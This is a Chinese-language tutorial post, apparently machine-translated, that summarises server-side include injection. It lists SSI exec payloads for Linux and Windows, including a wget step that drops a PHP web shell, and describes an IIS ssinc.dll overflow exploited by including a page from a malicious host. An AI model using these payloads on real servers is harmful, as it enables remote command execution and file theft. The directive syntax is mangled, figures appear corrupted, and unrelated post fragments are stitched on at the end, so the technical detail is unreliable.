伺服器端包含注入SSI分析總結

2021-08-14 13:01:22 字數 2032 閱讀 3017

參考文章  :

ssi是用於向動態內容提供html頁面的web應用程式中存在的指令。

它們與cgi類似,不同之處在於ssi用於在載入當前頁面之前執行某些操作,或者在頁面視覺化時執行某些操作。

為此,web伺服器在將頁面提供給使用者之前分析ssi。

伺服器端包含攻擊允許通過在html頁面中注入指令碼或遠端執行任意**來利用web應用程式。

它可以通過操縱應用程式中使用的ssi或通過使用者輸入字段強制使用ssi來利用。

可以通過插入在ssi指令中使用的字元來檢查應用程式是否正確驗證輸入字段資料,如:

<!

#= /。

「 - >和[a-za-z0-9]

另一種發現應用程式是否易受攻擊的方法是驗證擴充套件名為.stm,.shtm和.shtml的網頁是否存在。

但是,缺少這些型別的頁面並不意味著應用程式受到ssi攻擊的保護。

在任何情況下,只有當web伺服器允許ssi執行而沒有適當的驗證時,攻擊才會成功。

這可能導致在web伺服器程序所有者的許可下訪問和操作檔案系統和程序。

攻擊者可以訪問密碼檔案等敏感資訊,並執行shell命令。

ssi指令被注入輸入字段,並被傳送到web伺服器。

web伺服器在提供頁面之前解析並執行指令。

然後,下次為使用者的瀏覽器載入頁面時,攻擊結果將可見。

tbd用於注入ssi的命令因使用的伺服器作業系統而異。

以下命令表示應該用於執行os命令的語法。

linux的:

目錄列表檔案:

<! - #exec cmd =「ls」 - >
訪問目錄:

<! - #exec cmd =「cd / root / dir /」>
執行指令碼:

<! - #exec cmd =「wget  | rename shell.txt shell.php」 - >
視窗:

目錄列表檔案:

<! - #exec cmd =「dir」 - >
訪問目錄:

<! - #exec cmd =「cd c:\ admin \ dir」>
其他可用於訪問和設定伺服器資訊的ssi示例:

要更改錯誤訊息輸出:

<! - #config errmsg =「找不到檔案,通知使用者和密碼」 - >
顯示當前文件的檔名:

<! - #echo var =「document_name」 - >
顯示虛擬路徑和檔名:

<! - #echo var =「document_uri」 - >
使用「config」命令和「timefmt」引數,可以控制日期和時間輸出格式:

<! - #config timefmt =「a%b%d%y%r」 - >
使用「fsize」命令,可以列印所選檔案的大小:

<! - #fsize file =「ssi.shtml」 - >
iis版本4.0和5.0中的舊漏洞允許攻擊者通過動態鏈結庫(ssinc.dll)中的緩衝區溢位失敗獲取系統特權。

「ssinc.dll」用於解釋程序伺服器端包含。

cve 2001-0506 。

通過建立包含ssi**的惡意頁面並強制應用程式載入此頁面( 路徑遍歷攻擊),可以執行此攻擊:

ssi_over.shtml

<! - #include file =「uuuuuuuu ... uu」 - >
ps:「u」的數量需要超過2023年。

強制應用程式載入ssi_over.shtml頁面:

非惡意**:

www.vulnerablesite.org/index.asp?page=news.asp
惡意**:

www.vulnerablesite.org/index.asp?page=www.malicioussite.com/ssi_over.shtml
如果iis返回空白頁面,則表示發生了溢位。

在這種情況下,攻擊者可能會操縱程式流並執行任意**。

SSI 伺服器端嵌入

ssi 簡介 伺服器端嵌入 server side include,是一種類似於asp的基於伺服器的網頁製作技術。大多數 尤其是基於unix平台 的web伺服器如netscape enterprise server等均支援ssi命令。另外,在計算機硬體領域ssi是同步序列介面 synchronous...

伺服器端測試模式總結

測試型別 5類 function test 功能測試,也叫驗收測試。模擬使用者操作的基本功能測試,以保證產品的基本功能。performancetest 效能測試。這是服務端測試中很重要的一環。首先,服務端的很多bug其實都是在大壓力下才出現的,此外,效能測試能為伺服器集群,部署提供參考性資料。sta...

socket伺服器端

伺服器 include winsock2.h include string.h include stdio.h include time.h include stdarg.h include stdlib.h pragma comment lib,ws2 32 void errexit const ...